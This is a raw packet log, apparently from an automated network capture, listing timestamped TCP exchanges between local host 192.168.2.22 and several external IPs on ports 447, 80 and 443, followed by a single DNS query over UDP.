Feb 20, 2021 02:05:44.884576082 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:44.884598017 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:44.884649038 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:44.884931087 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:44.884998083 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:44.885248899 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:44.885636091 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:44.885688066 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:44.885703087 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:44.886008024 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:44.886029959 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:44.886054039 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:44.886094093 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:44.886395931 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:44.886413097 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:44.886428118 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:44.886442900 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:44.886471033 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:44.886497021 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:44.886727095 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:44.886806011 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:44.886881113 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.002890110 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.003154039 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.003179073 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.003264904 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.003508091 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.003530979 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.003586054 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.003623009 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.003810883 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.003834963 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.003874063 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.004174948 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.004198074 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.004219055 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.004251003 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.004511118 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.004534960 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.004556894 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.004581928 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.004894972 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.004919052 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.004940033 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.004961967 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.005237103 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.005300045 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.005337954 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.005358934 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.005393028 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.005409002 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.005562067 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.005584955 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.005640984 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.005891085 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.005914927 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.005973101 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.006284952 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.006313086 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.006334066 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.006371021 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.006653070 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.006675959 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.006696939 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.006726980 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.006958961 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.006983995 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.007044077 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.007328987 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.007350922 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.007397890 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.007724047 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.007760048 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.007821083 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.008044958 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.008071899 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.008127928 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.008763075 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.009087086 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.009111881 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.009133101 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.009155989 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.009186029 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.009193897 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.009475946 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.009516954 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.009536982 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.009538889 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.009587049 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.126535892 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.126611948 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.126663923 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.126713991 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.126771927 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.126794100 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.126817942 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.126854897 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.126914978 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.127571106 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.127633095 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.127686024 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.127716064 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.127922058 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.127976894 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.128025055 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.128027916 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.128087044 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.128263950 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.128319025 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.128369093 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.128385067 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.128633976 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.128690004 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.128720045 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.129041910 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.129101038 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.129113913 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.129156113 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.129229069 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.129333019 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.129405022 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.129471064 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.129472971 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.129673004 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.129733086 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.129740000 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.129786968 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.129844904 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.130003929 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.130059004 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.130109072 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.130119085 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.130350113 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.130403996 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.130414963 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.130456924 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.130521059 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.130729914 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.130785942 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.130835056 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.130851030 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.131120920 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.131174088 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.131191969 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.131225109 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.131274939 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.131285906 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.131411076 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.131479979 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.132159948 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.132213116 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.132277012 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.132524967 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.132580042 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.132646084 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.132885933 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.132940054 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.133008957 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.133241892 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.133598089 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.133668900 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.133670092 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.249622107 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.249679089 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.249732018 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.249752045 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.249802113 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.249814034 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.250202894 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.250243902 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.250262022 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.250560045 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.250598907 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.250619888 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.250638008 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.250694036 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.250952005 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.250993013 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.251029968 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.251059055 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.251352072 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.251393080 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.251411915 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.251571894 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.251610994 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.251629114 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.251650095 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.251699924 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.251952887 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.251992941 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.252029896 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.252046108 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.252296925 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.252336979 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.252352953 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.252373934 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.252424955 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.252629995 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.252669096 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.252716064 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.252743959 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.253010988 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.253047943 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.253077984 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.253096104 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.253149033 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.253447056 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.253500938 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.253557920 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.253561974 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.253742933 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.253802061 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.253802061 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.253876925 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.253931999 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.253933907 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.254153013 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.254210949 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.254213095 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.254271030 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.254326105 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.254512072 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.254573107 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.254626989 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.254628897 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.254832983 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.254889965 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.256108999 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.256403923 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.256449938 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.256455898 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.256505966 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.256553888 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.257086039 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.257144928 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.257194996 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:45.257455111 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:45.405004978 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:47.613735914 CET	80	49172	95.217.228.176	192.168.2.22
Feb 20, 2021 02:05:47.613806009 CET	49172	80	192.168.2.22	95.217.228.176
Feb 20, 2021 02:05:49.741094112 CET	49173	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:49.883425951 CET	49175	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:49.938761950 CET	443	49173	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:50.080972910 CET	443	49175	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:50.081258059 CET	49175	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:50.081583977 CET	49175	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:50.278897047 CET	443	49175	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:50.281522989 CET	443	49175	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:50.281558037 CET	443	49175	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:50.281785965 CET	49175	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:50.294012070 CET	49175	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:50.484359980 CET	443	49173	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:50.494793892 CET	443	49175	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:50.495891094 CET	49175	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:50.495954037 CET	49175	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:50.690680027 CET	49173	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:50.693980932 CET	443	49175	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:50.821744919 CET	49173	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:51.020062923 CET	443	49173	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:51.258651972 CET	443	49175	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:51.470594883 CET	49175	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:51.503755093 CET	443	49173	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:51.505203009 CET	49175	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:51.704822063 CET	49173	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:51.750875950 CET	443	49175	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:52.097095966 CET	49173	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:52.097151995 CET	49173	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:52.188029051 CET	443	49175	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:52.294718981 CET	443	49173	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:52.294760942 CET	443	49173	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:52.406689882 CET	49175	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:52.795341015 CET	443	49173	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:52.999556065 CET	49173	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:53.066442013 CET	49176	443	192.168.2.22	116.68.162.92
Feb 20, 2021 02:05:53.283557892 CET	49175	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:53.283677101 CET	49173	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:53.284349918 CET	49177	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:53.482719898 CET	443	49177	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:53.483026028 CET	49177	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:53.483417988 CET	49177	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:53.683326006 CET	443	49177	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:53.685561895 CET	443	49177	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:53.685606003 CET	443	49177	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:53.685718060 CET	49177	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:53.697021961 CET	49177	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:53.895381927 CET	443	49177	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:53.896503925 CET	49177	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:54.137763023 CET	443	49177	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:54.577073097 CET	443	49177	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:54.793888092 CET	49177	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:55.458422899 CET	443	49176	116.68.162.92	192.168.2.22
Feb 20, 2021 02:05:55.458640099 CET	49176	443	192.168.2.22	116.68.162.92
Feb 20, 2021 02:05:55.532516956 CET	49176	443	192.168.2.22	116.68.162.92
Feb 20, 2021 02:05:55.532586098 CET	49176	443	192.168.2.22	116.68.162.92
Feb 20, 2021 02:05:55.747618914 CET	49177	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:55.748064995 CET	49178	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:55.946377039 CET	443	49178	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:55.946505070 CET	49178	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:55.946861029 CET	49178	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:56.146476984 CET	443	49178	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:56.148684025 CET	443	49178	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:56.148730040 CET	443	49178	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:56.148956060 CET	49178	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:56.154680967 CET	49178	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:56.354888916 CET	443	49178	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:56.471116066 CET	49178	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:56.617345095 CET	443	49176	116.68.162.92	192.168.2.22
Feb 20, 2021 02:05:56.617647886 CET	49176	443	192.168.2.22	116.68.162.92
Feb 20, 2021 02:05:56.709353924 CET	443	49178	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:57.153601885 CET	443	49178	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:57.414674997 CET	49178	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:58.101258039 CET	443	49176	116.68.162.92	192.168.2.22
Feb 20, 2021 02:05:58.101279974 CET	443	49176	116.68.162.92	192.168.2.22
Feb 20, 2021 02:05:58.101294994 CET	443	49176	116.68.162.92	192.168.2.22
Feb 20, 2021 02:05:58.101309061 CET	443	49176	116.68.162.92	192.168.2.22
Feb 20, 2021 02:05:58.101341963 CET	49176	443	192.168.2.22	116.68.162.92
Feb 20, 2021 02:05:58.101388931 CET	49176	443	192.168.2.22	116.68.162.92
Feb 20, 2021 02:05:58.101438046 CET	49176	443	192.168.2.22	116.68.162.92
Feb 20, 2021 02:05:58.618927002 CET	443	49176	116.68.162.92	192.168.2.22
Feb 20, 2021 02:05:58.619920015 CET	49176	443	192.168.2.22	116.68.162.92
Feb 20, 2021 02:05:58.882491112 CET	49179	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:58.883145094 CET	49178	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:59.079716921 CET	443	49179	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:59.079894066 CET	49179	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:59.080293894 CET	49179	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:59.277439117 CET	443	49179	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:59.279273987 CET	443	49179	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:59.279329062 CET	443	49179	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:59.279493093 CET	49179	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:59.285681963 CET	49179	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:59.483828068 CET	443	49179	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:59.485143900 CET	49179	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:59.485563040 CET	49179	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:59.683773994 CET	443	49179	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:59.736049891 CET	443	49176	116.68.162.92	192.168.2.22
Feb 20, 2021 02:06:00.180022001 CET	443	49179	193.8.194.96	192.168.2.22
Feb 20, 2021 02:06:00.394599915 CET	49179	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:06:01.487021923 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:06:01.487081051 CET	49172	80	192.168.2.22	95.217.228.176

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 20, 2021 02:03:50.464174986 CET	52197	53	192.168.2.22	8.8.8.8
